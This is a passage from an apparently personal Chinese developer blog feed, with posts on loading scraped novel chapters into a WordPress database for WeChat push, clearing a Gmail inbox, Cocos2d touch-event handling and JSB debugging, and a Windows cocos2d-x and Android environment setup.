<h2 id="2-小说入库Wordpress"><a href="#2-小说入库Wordpress" class="headerlink" title="2.小说入库Wordpress"></a>2.小说入库Wordpress</h2><p>发布这里费了点事，其实可以使用xmlrpc ， 邮箱发布等，那样采集程序就不用放一个地方跑，sae上放采集程序不是很好，日志什么的很麻烦，流量也贵，本地读写也没有，但是速度快，不然用国外的微信公众平台会没响应。（当然是指免费的云空间）</p>
<p>我在这里使用了直接写数据库的方式，需要先分析一下wordpres的数据表。</p>
<p>wordpress数据表定义如下，由于我们没有图片，所以 存储文章的包括 wp_posts，wp_term_relationships</p>
<p>wp_commentmeta：存储评论的元数据<br>wp_comments：存储评论<br>wp_links：存储友情链接（Blogroll）<br>wp_options：存储WordPress系统选项和插件、主题配置<br>wp_postmeta：存储文章（包括页面、上传文件、修订）的元数据<br>wp_posts：存储文章（包括页面、上传文件、修订）<br>wp_terms：存储每个目录、标签<br>wp_term_relationships：存储每个文章、链接和对应分类的关系<br>wp_term_taxonomy：存储每个目录、标签所对应的分类<br>wp_usermeta：存储用户的元数据<br>wp_users：存储用户</p>
<p>然后看下表结构，posts中需要改的字段和我们前面的标题，内容，时间对应，还剩下不变的作者ID，和一个guid。这个guid是对应一个url</p>
<p><a href="http://dlinux.sinaapp.com/?p=1" target="_blank" rel="external">http://dlinux.sinaapp.com/?p=1</a>  数值是自增id，所以写的语句还要获取当前插入的自增ID，然后在wp_term_relationships 也需要这个自增id，插入对应的目录中。</p>
<p><strong>wp_posts</strong><br>ID：自增唯一ID<br>post_author：对应作者ID<br>post_date：发布时间<br>post_date_gmt：发布时间（GMT+0时间）<br>post_content：正文<br>post_title：标题<br>post_excerpt：摘录<br>post_status：文章状态（publish/auto-draft/inherit等）<br>comment_status：评论状态（open/closed）<br>ping_status：PING状态（open/closed）<br>post_password：文章密码<br>post_name：文章缩略名<br>to_ping：未知<br>pinged：已经PING过的链接<br>post_modified：修改时间<br>post_modified_gmt：修改时间（GMT+0时间）<br>post_content_filtered：未知<br>post_parent：父文章，主要用于PAGE<br>guid：未知<br>menu_order：排序ID<br>post_type：文章类型（post/page等）<br>post_mime_type：MIME类型<br>comment_count：评论总数</p>
<p>&nbsp;</p>
<p><strong>wp_term_relationships</strong><br>object_id：对应文章ID/链接ID<br>term_taxonomy_id：对应分类方法ID<br>term_order：排序</p>
<p>&nbsp;</p>
<p>取自增id网上有4个方法，但好像都是要插入之后才能取到，我每次取都是0。所以这里利用max(ID)来取得，但是这个方法不适合高并发的网站，这里到没问题。有什么方法好点麻烦告诉我一声。</p>
<p>$result = mysql_query(“select max(ID) from wp_posts;”,$connect);</p>
<p>$row = mysql_fetch_row($result);</p>
<p>$last_id = $row[0] +1 ;  //然后拼接地址为 ‘<a href="http://iniu.sinaapp.com/?p={$last_id}" target="_blank" rel="external">http://iniu.sinaapp.com/?p={$last_id}</a>‘</p>
<p>还没完，选择一个单本wordpress小说主题Danx，然后使用Any Mobile Theme  为桌面和手机分别适配2个不同主题，移动主题选择好像不多，我使用了mobilepack 。当然，主题都需要修改一下下，很多不需要的去掉了。</p>
<p>OK到这里就基本完成了数据的部分了，然后就是推送了。可以预览一下我们的网站和原网站的对比了。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2014/02/QQ20140202190523.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2014/02/QQ20140202190523.png" alt="QQ20140202190523"></a> <a href="http://7xnueu.com1.z0.glb.clouddn.com/2014/02/QQ20140202190640.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2014/02/QQ20140202190640.png" alt="QQ20140202190640"></a></p>
<h2 id="3-微信公众平台推送"><a href="#3-微信公众平台推送" class="headerlink" title="3.微信公众平台推送"></a>3.微信公众平台推送</h2><p>这里看需求，可以自己写，我的上一个微信平台就是自己写的，也可以用3方的平台，开源的平台，但是这里我用了个wordpress的插件。任务不多，所以这个应该可以满足的。置于消息实时推送，只能放后面再说，今天时间不多了。找到我爱水煮鱼的微信机器人，安装上配置一下后台地址就OK，不过只有查找功能，最新的消息还没有，等会添加。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2014/02/QQ20140203005917.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2014/02/QQ20140203005917.png" alt="QQ20140203005917"></a></p>
<p>最终的实现效果就是这样了，看起来还不错，不过主题好像没有适配好。<img src="http://7xnueu.com1.z0.glb.clouddn.com/2014/02/20140203005830.png" alt="20140203005830"> <img src="http://7xnueu.com1.z0.glb.clouddn.com/2014/02/20140203010022.png" alt="20140203010022"> <img src="http://7xnueu.com1.z0.glb.clouddn.com/2014/02/20140203010039.png" alt="20140203010039"></p>
<p> 最后访问地址 <a href="http://iniu.sinaapp.com" target="_blank" rel="external">http://iniu.sinaapp.com</a></p>
<p>所有用到的附件打包 <a href="http://7xnueu.com1.z0.glb.clouddn.com/2014/02/spider.zip" target="_blank" rel="external">spider</a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>一直有看小说的习惯，其他的作者的不稳定更新让人很烦恼，而我一直是贴吧看的小说，很没节操么，但是穷屌丝就这个样子了。</p>
<p>然后决定自己利用微信写一个小说推送平台，就不用每次一个一个贴吧去切换了，当然用户只是我自己啦。</p>
<p>由于vps坑爹的跑路了，所以转回s]]>
    </summary>
    
      <category term="采集" scheme="http://doubles.me/tags/%E9%87%87%E9%9B%86/"/>
    
      <category term="微信公众平台" scheme="http://doubles.me/tags/%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%B9%B3%E5%8F%B0/"/>
    
      <category term="Code" scheme="http://doubles.me/categories/Code/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[如何一次清空Gmail邮件]]></title>
    <link href="http://doubles.me/2014/01/26/980/"/>
    <id>http://doubles.me/2014/01/26/980/</id>
    <published>2014-01-26T05:55:34.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>Gmail已经5000+的邮件了，都不是有用的邮件，就想着怎么清楚它。弄了半天发现几个方法，分享一下。</p>
<h2 id="使用过滤器"><a href="#使用过滤器" class="headerlink" title="*使用过滤器"></a>*使用过滤器</h2><p>1，在设置里面创建过滤器，<br>2，条件设为不包含“軣“（尽量选择生僻字），<br>3，根据此条件创建过滤器，选择删除邮件，同时勾选”同时将此过滤器应用于与 个会话匹配的xxx“<br>4，到已删除邮件里选择所有，然后在下拉栏里再选择”所有文件“，点删除。</p>
<p>&nbsp;</p>
<h2 id="利用imap协议"><a href="#利用imap协议" class="headerlink" title="*利用imap协议"></a>*利用imap协议</h2><p>去申请一个新的别的地方的信箱，然后设置一下远程收取，并设置收取后删除原件就可以了</p>
<p>&nbsp;</p>
<h2 id="全选收件箱"><a href="#全选收件箱" class="headerlink" title="*全选收件箱"></a>*全选收件箱</h2><p>其实正确的操作方法是这样的：<br>1、点击邮件勾选标签栏上最顶部的勾选框旁的小三角，在下拉菜单里选择“全部”，这样就勾选了当前页面的50个会话。<br>2、这时候会自动弹出一个提示：“此页中的所有 50 会话都已选中。’选择收件箱’ 中的所有 xxx 个会话”<br>3、点击“选择收件箱”，这个时候提示会显示为：已选中 收件箱 中的所有xxx会话。清除选中<br>4、再点击快捷栏上面的垃圾箱图标就可以一次性全部删除。</p>
<p>&nbsp;</p>
<p>比较推荐使用过滤器，真的很强大，可以筛选出一些邮件保留。</p>
<p>另外，由于没有装插件，博客的垃圾评论太多了，除了机器人好像没人气似的。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>Gmail已经5000+的邮件了，都不是有用的邮件，就想着怎么清楚它。弄了半天发现几个方法，分享一下。</p>
<h2 id="使用过滤器"><a href="#使用过滤器" class="headerlink" title="*使用过滤器"></a>*使用过滤器</h2>]]>
    </summary>
    
      <category term="Web" scheme="http://doubles.me/categories/Web/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Cocos2d JSB 记录贴]]></title>
    <link href="http://doubles.me/2014/01/21/962/"/>
    <id>http://doubles.me/2014/01/21/962/</id>
    <published>2014-01-21T07:43:45.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>搞了一个礼拜的Jsbinding了，东拼西凑也能在手机上跑起来了。</p>
<p>官方的demo在弄好环境的第2天就跑动了，但是自己创建的工程死活跑不动。这里记录遇到的坑。</p>
<p>1. 创建的工程导入eclipse缺少构建器<br>没办法，把官方的那个飞机拖出来，里面代码改掉，改成自己的。<br>2.远程调试<br>搞了很久的远程调试，依然连不上 。<br>Firefox提供了远程调试，需要安装最新版本的firefox，在开发工具里面设置打开远程调试。<br>然后设置Android <a href="https://developer.mozilla.org/en-US/docs/Tools/Remote_Debugging/Firefox_for_Android" target="_blank" rel="external">https://developer.mozilla.org/en-US/docs/Tools/Remote_Debugging/Firefox_for_Android</a><br>修改代码支持远程调试 <a href="https://github.com/cocos2d/cocos2d-x/blob/f9c34bc18ee061f1964d8c7d100f0c4fce9c6ee5/cocos/scripting/javascript/script/debugger/README.md" target="_blank" rel="external">https://github.com/cocos2d/cocos2d-x/blob/f9c34bc18ee061f1964d8c7d100f0c4fce9c6ee5/cocos/scripting/javascript/script/debugger/README.md</a> （didn’t run）<br>注意端口不是6000</p>
<p>3.运行后黑屏等错误<br>出错了，虽然logcat里经常看不到出错的信息，但是就是出错了。 手动排查一下，可能就是哪个js文件不能绑定上去。<br>比如说 NotificationCenter，需要复制到自己的工程中作为js引用，但是不能直接绑定，但是应该是可以的，原因待定。<br>比如说 setFlippedX 在 html5是 ok的，但是在jsb中要使用 setFlipX （3.0版本修复 <a href="http://www.cocos2d-x.org/forums/20/topics/41167）。" target="_blank" rel="external">http://www.cocos2d-x.org/forums/20/topics/41167）。</a></p>
<p>4.分辨率错误<br>实在是不好弄，到处错位，而且只有show_all不会黑屏</p>
<p>最后，游戏demo预期图应该是这样的。<br><a href="http://7xnueu.com1.z0.glb.clouddn.com/2014/01/52.png" target="_blank" rel="external">
</a> <a href="http://7xnueu.com1.z0.glb.clouddn.com/2014/01/11.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2014/01/11.png" alt="1"></a> <a href="http://7xnueu.com1.z0.glb.clouddn.com/2014/01/24.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2014/01/24.png" alt="2"></a> <a href="http://7xnueu.com1.z0.glb.clouddn.com/2014/01/3.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2014/01/3.png" alt="3"></a> <a href="http://7xnueu.com1.z0.glb.clouddn.com/2014/01/4.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2014/01/4.png" alt="4"></a></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2014/01/52.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2014/01/52.png" alt="5"></a></p>
<p>&nbsp;</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>搞了一个礼拜的Jsbinding了，东拼西凑也能在手机上跑起来了。</p>
<p>官方的demo在弄好环境的第2天就跑动了，但是自己创建的工程死活跑不动。这里记录遇到的坑。</p>
<p>1. 创建的工程导入eclipse缺少构建器<br>没办法，把官方的那个飞机拖出来，里]]>
    </summary>
    
      <category term="开发" scheme="http://doubles.me/tags/%E5%BC%80%E5%8F%91/"/>
    
      <category term="cocos2d" scheme="http://doubles.me/tags/cocos2d/"/>
    
      <category term="Code" scheme="http://doubles.me/categories/Code/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Cocos2d-html5 touch事件总结]]></title>
    <link href="http://doubles.me/2013/12/18/937/"/>
    <id>http://doubles.me/2013/12/18/937/</id>
    <published>2013-12-18T07:48:07.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>可以说，当初困扰最久的就是touch事件。各个层上重叠区域，可视区域的消息传递机制不知道如何处理。现在又花了1天时间把以前的总结一下，再了解了cocos2d内部是如何处理touch事件的。</p>
<p>首先看一下api当中所有关于touch事件的类</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/QQ20131218161329.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/QQ20131218161329.png" alt="QQ20131218161329"></a></p>
<p><strong>cc.Touch</strong>：它封装了触摸点，可以通过locationInView函数返回一个cc.Point。<br><strong>cc.TouchDelegate</strong>：它是触摸事件委托，就是系统捕捉到触摸事件后交由它或者它的子类处理，所以我们在处理触屏事件时，必须得继承它。它封装了下面这些处理触屏事件的函数：</p>
<p>onTouchBegan:function (touch, event) {<br>},<br>onTouchMoved:function (touch, event) {<br>},<br>onTouchEnded:function (touch, event) {<br>},<br>onTouchCancelled:function (touch, event) {<br>},<br>onTouchesBegan:function (touches, event) {<br>},<br>onTouchesMoved:function (touches, event) {<br>},<br>onTouchesEnded:function (touches, event) {<br>},<br>onTouchesCancelled:function (touches, event) {<br>},</p>
<p>&nbsp;</p>
<p><strong>cc.TargetedTouchDelegate</strong>    和  <strong>cc.StandardTouchDelegate  </strong>是<strong>cc.TouchDelegate </strong>的子类，他们分别处理单点触摸和多点事件。</p>
<p><strong>cc.TouchHandler</strong>：封装了cc.TouchDelegate和其对应的优先级，优先级越高，分发的时候越容易获得事件处理权，</p>
<p><strong>cc.TouchDispatcher</strong>：实现触摸事件分发，它封装了下面这两个函数，目的就是添加触摸支持</p>
<p>_addStandardDelegate:function (delegate, priority)</p>
<p>_addTargetedDelegate:function (delegate, priority, swallowsTouches)</p>
<p>不过可以使用 下面三个函数来注册，卸载触摸事件</p>
<p>cc.registerTargetedDelegate = function(priority, swallowsTouches, delegate)    //注册单点触摸事件</p>
<p>cc.registerStandardDelegate = function(delegate, priority)    //注册多点触摸事件</p>
<p>cc.unregisterTouchDelegate = function(delegate)  //卸载触摸事件</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/QQ20131218161231.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/QQ20131218161231.png" alt="QQ20131218161231"></a></p>
<p> 更加详细的可以查看这篇博客：<a href="http://codingnow.cn/cocos2d-x/783.html" target="_blank" rel="external">http://codingnow.cn/cocos2d-x/783.html</a></p>
<p><strong>触摸事件的优先级和消息链</strong></p>
<p>  虽然已经能响应触摸消息了，但是还是有很多问题没有处理的，比如说谁先谁后，装备栏覆盖了属性栏，那么消息就应该在装备栏被消化掉，属性栏就不应该收到消息等等。</p>
<p>消息拦截：</p>
<pre><code>cc.StandardTouchDelegate** **将所有的Touch信息直接传递给实现该协议的对象，而cc.TargetedTouchDelegate 则要求实现该代理的类一次只能处理一个事件，并且吃掉该事件，不再传播(swallowTouches=YES;)。
</code></pre><p> 当然还是需要在处理完onTouch 事件后返回false 或者的true的。只不过在onTouchesBegan 中无论返回 true 或者false 都是可以继续传递的，而onTouchBegan 中返回false 可以继续传递，true则被消化掉了。</p>
<p>不清楚的可以查看这篇博文：<a href="http://blog.csdn.net/tskyfree/article/details/8249689" target="_blank" rel="external">http://blog.csdn.net/tskyfree/article/details/8249689</a></p>
<p>优先级：</p>
<p>优先级的值越小优先级反而越高,也就能先响应事件（CCMenu的默认值是-128）</p>
<p>cc.TargetedTouchDelegate比cc.StandardTouchDelegate优先级高</p>
<pre><code>cocos2d把响应事件的对像放入一个栈中，用先进后出的规率来响应事件。可以设置响应的优先级 -128 - 128，最上层的优先级是-128（即值越小越先响应事件）。
</code></pre><p>响应的规则：</p>
<ul>
<li>不同优先级先按优先级响应（即无视入栈顺序，先按优先级响应）</li>
<li>同一优先级响应的顺序是先进后出。 </li>
<li>同一对像不能多次入栈，必须先从栈中移除才能再次加入。（也可能是最高响应等级的不能多次入栈）</li>
<li>如果当前对像有优先响应顺序但没有响应事件，则会分发到后面的对像。<br><strong>给layer添加触摸事件：</strong></li>
</ul>
<p>首先要开启触摸， layer中可以在构造函数内调用  this.setTouchEnabled(true);  那么是单点还是多点事件？开始我也没注意，然后翻源代码才看到这一点，看图：</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/QQ20131218161328.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/QQ20131218161328.png" alt="QQ20131218161328"></a></p>
<p>所以，我们可以通过   this.setTouchMode(cc.TOUCH_ONE_BY_ONE); 来设置注册哪个事件，事件定义如下：<a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/QQ20131218161200.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/QQ20131218161200.png" alt="QQ20131218161200"></a></p>
<p>cc.TOUCH_ALL_AT_ONCE 是多点触摸 对应的是 StandarDelegate</p>
<p>cc.TOUCH_ONE_BY_ONE 是单点事件对应的是TargetedDelegate</p>
<p> 然后再重载onTouchBegan 等事件就可以了，</p>
<p>onTouchesBegan: function (touch, event) {<br>    cc.log(‘covered layer!!!’);<br>    return false;<br>}</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/QQ20131218164643.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/QQ20131218164643.png" alt="QQ20131218164643"></a></p>
<p>&nbsp;</p>
<p>本该重载onTouchBegan 但是错误的写为了onTouchesBegan会有这样的提示的<a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/QQ201312181613291.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/QQ201312181613291.png" alt="QQ20131218161329"></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><strong>给精灵注册触摸事件</strong></p>
<pre><code>默认cc.Sprite是没有触摸事件的 ，不过我们可以依据layer的实现方法给他添加上去。主要用到这3个事件
</code></pre><p>cc.Director.getInstance().getTouchDispatcher()._addTargetedDelegate(delegate, priority, swallowsTouches);</p>
<p>cc.Director.getInstance().getTouchDispatcher()._addStandardDelegate(delegate, priority);</p>
<p> cc.Director.getInstance().getTouchDispatcher()._removeDelegate(delegate);</p>
<p>_addTargetedDelegate  单点触摸</p>
<p>第一个参数为代理目标，第二个为优先级，数值越小，触摸点就会先传递。<br>第三个为是否要吞掉触摸点，ture的话就是在ccTouchBegan返回true后触摸点就不再传递。</p>
<p>StandarDelegate  多点触摸 不能吞掉消息，所以少一个参数，最后就是不在需要触摸消息的时候注销掉它。</p>
<p>实现比较简单，只要继承一个精灵类，然后添加上这3个函数就可以实现点击精灵的动作了。</p>
<p>onEnter: function () {<br>    cc.registerTargetedDelegate(cc.MENU_HANDLER_PRIORITY - 1, true, this);<br>    this._super();<br>},<br>onExit: function () {<br>    cc.unregisterTouchDelegate(this);<br>    this._super();<br>},<br>onTouchBegan: function (touch, event) {<br>    if (cc.rectContainsPoint(this.getBoundingBox(), touch.getLocation())) {<br>        cc.log(‘Dont touch me!!!’);<br>        return true;<br>    } else {<br>        return false;<br>    };</p>
<p>}</p>
<p><div><strong>mouse事件 和touch事件</strong></div></p>
<p><div></div></p>
<p><div>   mouse事件在touch的同级目录下有，但是默认api中是没有的，没有文档很就久没更新了。所以如果要使用的话替换touch为mouse就行了。 速度</div></p>
<p><div>但是mouse是不支持多点触控的，所以还是用touch吧。</div><br><br><strong>问题</strong><br>    cc.Menu对像的默认的优先级是-128（即最高响应级别），cc.layer的默认响应级别是0，所以同时存在的情况下cc.Menu总是先响应触摸事件，并阻止层接收触摸事件，杯具的是新增一个面板层覆盖在cc.Menu按钮上方依然会被下面的按钮接收到触摸事件。</p>
<p>如果新增的层或其它对像中包含有CCMenu对像，因为该层被设为了最高优先级且阻止冒泡，该层上的CCMENU也不能响应事件了。这时只需要再将CCMenu对像用最高优先级重新入栈一次即可</p>
<p><strong>最终解决办法</strong>：</p>
<p>其实这个才是最重要的，不能解决知道了也没有用，</p>
<p>1.UILayer管理类</p>
<p>  写一个ui层的manager ，然后每次遍历其中的ui layer，响应触摸事件 <a href="http://www.ityran.com/archives/4109" target="_blank" rel="external">http://www.ityran.com/archives/4109</a></p>
<p>2.覆盖系统的多点触摸事件</p>
<p> 就是给StandarDelegate 添加上TargetDelegate 一样的swap函数，能够吞掉事件消息。依然还是看这篇博客：<a href="http://codingnow.cn/cocos2d-x/783.html" target="_blank" rel="external">http://codingnow.cn/cocos2d-x/783.html</a></p>
<p>基于cocos2d的事件响应规律我们知道新增的层要接收到触摸事件并阻止冒泡必须有大于cc.Menu的优先级，或等于cc.Menu的优先级但后入栈，即在每次层打开时重设为最高优先级。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>可以说，当初困扰最久的就是touch事件。各个层上重叠区域，可视区域的消息传递机制不知道如何处理。现在又花了1天时间把以前的总结一下，再了解了cocos2d内部是如何处理touch事件的。</p>
<p>首先看一下api当中所有关于touch事件的类</p>
<p><a h]]>
    </summary>
    
      <category term="cocos2d" scheme="http://doubles.me/tags/cocos2d/"/>
    
      <category term="Code" scheme="http://doubles.me/categories/Code/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[cocos2d-html5+jsb+windows开发环境搭建]]></title>
    <link href="http://doubles.me/2013/12/11/920/"/>
    <id>http://doubles.me/2013/12/11/920/</id>
    <published>2013-12-11T06:57:03.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<div>继续学习cocos2d-html5，想先熟悉一下jsbing。所以需要配置一下安装环境。主要还是 web 和 android，因为我也只会这2个，其他的都没有设备测试。</div><br><div>这里有一个官方文档的，但是似乎没成功，所以还是要靠自己：</div><br><div><a href="http://www.cocos2d-x.org/wiki/How_to_set_up_the_android_cocos2d-x_development_environment_on_Windows_7" target="_blank" rel="external">http://www.cocos2d-x.org/wiki/How_to_set_up_the_android_cocos2d-x_development_environment_on_Windows_7</a></div><br><div>一共需要安装挺多东西的，不过看需求了，但是 android+sdk+ndk+cocos2d-x 是最基本的，其他的只是为了方便。</div><br><div></div><br><div><br><br>1.  JDK<br>2.  eclipse<br>3.  Android SDK<br>4.  eclipse adt plugin                                   (以上是android 开发环境)<br>5.  Android NDK                                           (Android交叉编译c++)<br>6.  eclipse cdt plugin                                  (c++开发插件，不开发可以不装)<br>7.  cocos2d-x                                                (游戏引擎 c++，jsb绑定)<br>8.  cocos2d-html5                                      (开发使用的cocos2d版本)<br>9.  webstrom                                                (开发工具，notepad++感觉不够用了)<br>10.  python                                                      (cocos2d  2.x版本以后管理代码都用python脚本了)<br>11.  cygwin                                                      (本地编译c++工具)<br></div><br><div><br><div>1.cocos2d-x</div><br><div>由于是jsb，所以是3个都下， 用cocos2d-html5 开发，绑定到cocos2d-x上去。cocostudio是开发工具，可以省去以前很多资源处理的精力，下一篇会写他的使用。</div><br><div> <a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/QQ20131211102839.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/QQ20131211102839.png" alt="QQ20131211102839"></a></div><br><div>官网下载  <a href="http://www.cocos2d-x.org/download" target="_blank" rel="external">http://www.cocos2d-x.org/download</a></div><br></div><br><div></div><br><div>2.安装python</div><br><div>一定安装2.7版本的，安装完成后把安装目录加入系统path当中。</div><br><div>下载地址：<a href="http://www.python.org/" target="_blank" rel="external">http://www.python.org/</a></div><br><div></div><br><div>3.安装webstrom</div><br><div>不得不说是很不错的一款编辑器，到目前发现基本可以省略掉apache了，他内置了一个http服务器。</div><br><div>但是配色很让我心碎，没有我熟悉的notepad++ 或者 eclipse 的配色。最后只能自己编辑一下了。</div><br><div>默认好像中文是乱码吧，需要修改一个中文的字体，这是我的设置方案 ：<a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/webstrom_setting.zip" target="_blank" rel="external">webstrom_setting</a>  中文+eclipse keymap+notepad++配色。</div><br><div>下载解压，然后file—import setting找到这个jar包就可以了。</div><br><div>导入Cocos2d-html5的方法很简单，解压cocos2d-html5 的包到一个本地非中文目录，不要有空格，然后webstrom打开这个并设置为rootproject就成。由于代码全部导入了，所以会有智能提示。</div><br><div>如果有多个项目公用一个lib，可以添加一个cocos2d-html5 libarary。只要做到这一步就可以开始开发html5的游戏了。</div><br><div>其他更详细的配置可以在 <a href="http://www.ityran.com/archives/4857" target="_blank" rel="external">http://www.ityran.com/archives/4857</a> 看到</div><br><div><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/QQ20131211104758.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/QQ20131211104758.png" alt="QQ20131211104758"></a></div><br><div></div><br><div>下载地址：<a href="http://www.jetbrains.com/webstorm/" target="_blank" rel="external">http://www.jetbrains.com/webstorm/</a></div><br><div></div><br><div>4.安装cygwin</div><br><div>安装到不难，但是很麻烦</div><br><div>选一个版本下载，然后安装，其他的看看就知道了，所以只说一下要安装哪些组件。</div><br><div>安装时，在 Cygwin 默认安装配置没有安装gcc 编译器，我们必须用到的 Devel 类中的几个组件包，如果嫌找起来过于麻烦，可将Devel 类从Default改为Install 全部安装也可，组件包为：binutils，gcc ，gcc - mingw，gdb ，make <a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/QQ20131211115409.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/QQ20131211115409.png" alt="QQ20131211115409"></a></div><br><div><br><br>安装完成后，把cygwin路径加入系统path，然后运行cygwin，在弹出的命令行窗口输入：cygcheck -c cygwin命令，会打印出当前cygwin的版本和运行状态，如果status是ok的话，则cygwin运行正常。<br><br>然后依次输入gcc –v，g++ -v，make –v，gdb –v进行测试，如果都打印出版本信息和一些描述信息，至此，你的cygwin安装完成了！<br><br></div><br><div>下载地址：<a href="http://cygwin.com/install.html" target="_blank" rel="external">http://cygwin.com/install.html</a></div><br><div></div><br><div></div><br><div><br><div>5.安装Android开发环境</div><br><div>这个比较麻烦，所以可以参考其他教程：<strong>(必看这篇，没有写的很详细，所以看他的最好了)</strong></div><br><div><br><div><a href="http://blog.csdn.net/sttyytw/article/details/17005263" target="_blank" rel="external">http://blog.csdn.net/sttyytw/article/details/17005263</a></div><br><div></div><br></div><br><div>JDK+Eclipse+Android SDK +ADT = CMCC_UDE</div><br><div>移动的这个集成包还是挺不错的，我最讨厌重复性的劳动了，比如说每次换电脑都要配环境。</div><br><div>cmcc_ude 可以省略 jdk，adt，eclipse 的安装，安装完成就OK。</div><br><div>下载地址：<a href="http://dev.10086.cn/cmdn/bbs/thread-47163-1-1.html" target="_blank" rel="external">http://dev.10086.cn/cmdn/bbs/thread-47163-1-1.html</a></div><br><div></div><br><div><br><div>然后安装cdt，查看eclipse版本，对应安装cdt。</div><br><div>cmcc_ude 的是3.7版本 对应名称为 Indigo，如果更新还是换版本了可以在readme中查看。</div><br><div>下载地址：  <a href="http://www.eclipse.org/cdt/downloads.php" target="_blank" rel="external">http://www.eclipse.org/cdt/downloads.php</a></div><br><div>然后help-&gt;install 就可以了。可以在新建项目中看到c++的就是安装成功。</div><br><div></div><br><div>上诉安装过程中的java，sdk，ndk的路径都要加入系统path，推荐教程中有详细过程。</div><br><div></div><br><div>6.配置Android环境</div><br><div>由于是交叉编译，所以需要对project进行设置,就是使用cygwin编译c++代码，还有用ndk编译c++代码的。</div><br><div>过程就是添加一个构建器，这里使用cygwin编译c++代码。</div><br><div><br><br>右键project，properties–&gt;builders，点击new–&gt;program<br><div>name栏输入：Native_Builder</div><br><div>Location栏输入：C:\cygwin\bin\bash.exe</div><br><div>Arguments栏输入：–login -c “cd /cygdrive/d/game/android-ndk-r9b &amp;&amp; make APP=SimpleGame”</div><br><div>这里的路径是ndk路径</div><br><div>再然后还是看上面推荐文章的<strong>第七章编译Android项目</strong>，实在懒的写了，都是一样的。</div><br><div></div><br></div><br><div>7.创建工程使用内置的python脚本</div><br><div>进入cocos2d-x-2.2.1-&gt;tools-&gt;project-creator，大家可以看到有一个create_project.py脚本</div><br><div><br><br>python create_project.py -project test -package com.example.test -language cpp<br><br><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/QQ20131211135451.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/QQ20131211135451.png" alt="QQ20131211135451"></a><br><br></div><br><div>然后会在cocos2d-x-2.2.1/project/test 中生成所有支持平台的项目<a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/QQ20131211135523.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/12/QQ20131211135523.png" alt="QQ20131211135523"></a></div><br><div></div><br><div>8.导入cocos2d-x项目到eclipse</div><br><div><br><br>现在以cocos2d-x-2.2\samples\Cpp\SimpleGame 这个项目来示例：<br><br>1.  导入lib cocos2d-x 到eclipse中，cocos2d-x-2.2\cocos2dx\platform\android\java，设置为isLibrary<br>2.  导入cocos2d-x-2.2\samples\Cpp\SimpleGame\proj.android 到eclipse中<br>3.  复制cocos2d-x-2.2\samples\Cpp\SimpleGame\Resources到cocos2d-x-2.2\samples\Cpp\SimpleGame\proj.android\assets中<br>4.  修改SimpleGame引用库为上面导入的，如果没出错的话<br>5.  复制cocos2d-x-2.2目录下的cocos2dx,CocosDenshion,extensions,external这4个目录到你的NDK的sources目录下,就是注册到path中的ndk路径下的sources<br></div><br></div><br></div><br><div>到这里，原生的应用已经可以跑在Android上了，模拟器太卡根本就没试，一直真机开发的。下面就是jsb绑定的过程了。</div><br><div></div><br><div>9.cocos2d-x jsbing</div><br><div>这个暂时还不知道如何搞定，但是系统提供的例子到可以正确运行。</div><br><div>导入D:\Game\cocos2d-x-2.2.1\samples\Javascript\MoonWarriors\proj.android 